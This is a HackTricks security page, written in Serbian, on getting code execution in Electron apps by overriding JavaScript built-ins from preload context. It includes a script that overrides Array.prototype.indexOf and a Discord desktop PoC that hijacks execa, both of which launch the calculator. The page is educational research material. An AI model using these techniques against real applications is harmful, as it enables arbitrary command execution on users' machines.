Electron contextIsolation RCE putem preload koda
Reading time: 3 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Primer 1
Ovaj kod otvara http(s) linkove u podrazumevanom pretraživaču:
Nešto poput file:///C:/Windows/systemd32/calc.exe
moglo bi se koristiti za izvršavanje kalkulatora, SAFE_PROTOCOLS.indexOf
to sprečava.
Stoga, napadač bi mogao ubrizgati ovaj JS kod putem XSS-a ili proizvoljne navigacije stranica:
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
Kao što će poziv SAFE_PROTOCOLS.indexOf
uvek vraćati 1337, napadač može zaobići zaštitu i izvršiti kalkulator. Konačni exploit:
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
Proverite originalne slajdove za druge načine izvršavanja programa bez traženja dozvola.
Naizgled, drugi način za učitavanje i izvršavanje koda je pristup nečemu poput file://127.0.0.1/electron/rce.jar
Primer 2: Discord App RCE
Primer sa https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1
Kada sam proveravao preload skripte, otkrio sam da Discord izlaže funkciju koja omogućava pozivanje nekih dozvoljenih modula putem DiscordNative.nativeModules.requireModule('MODULE-NAME')
, u veb stranici.
Ovde nisam mogao koristiti module koji se mogu koristiti za RCE direktno, kao što je child_process modul, ali sam pronašao kod gde se RCE može postići prepisivanjem ugrađenih JavaScript metoda i ometanjem izvršavanja izloženog modula.
Sledeće je PoC. Mogao sam da potvrdim da se calc aplikacija otvara kada pozovem funkciju getGPUDriverVersions
koja je definisana u modulu pod nazivom "discord_utils" iz devTools, dok prepisujem RegExp.prototype.test
i Array.prototype.join
.
RegExp.prototype.test = function () {
return false
}
Array.prototype.join = function () {
return "calc"
}
DiscordNative.nativeModules
.requireModule("discord_utils")
.getGPUDriverVersions()
Funkcija getGPUDriverVersions
pokušava da izvrši program koristeći biblioteku "execa", kao u sledećem:
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== "win32") {
return {}
}
const result = {}
const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
} catch (e) {
result.nvidia = { error: e.toString() }
}
return result
}
Obično execa pokušava da izvrši "nvidia-smi.exe", koji je naveden u nvidiaSmiPath
varijabli, međutim, zbog prepisanog RegExp.prototype.test
i Array.prototype.join
, argument se menja u "calc" u unutrašnjem procesiranju _execa_**.
Specifično, argument se menja promenom sledeće dve komponente.
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.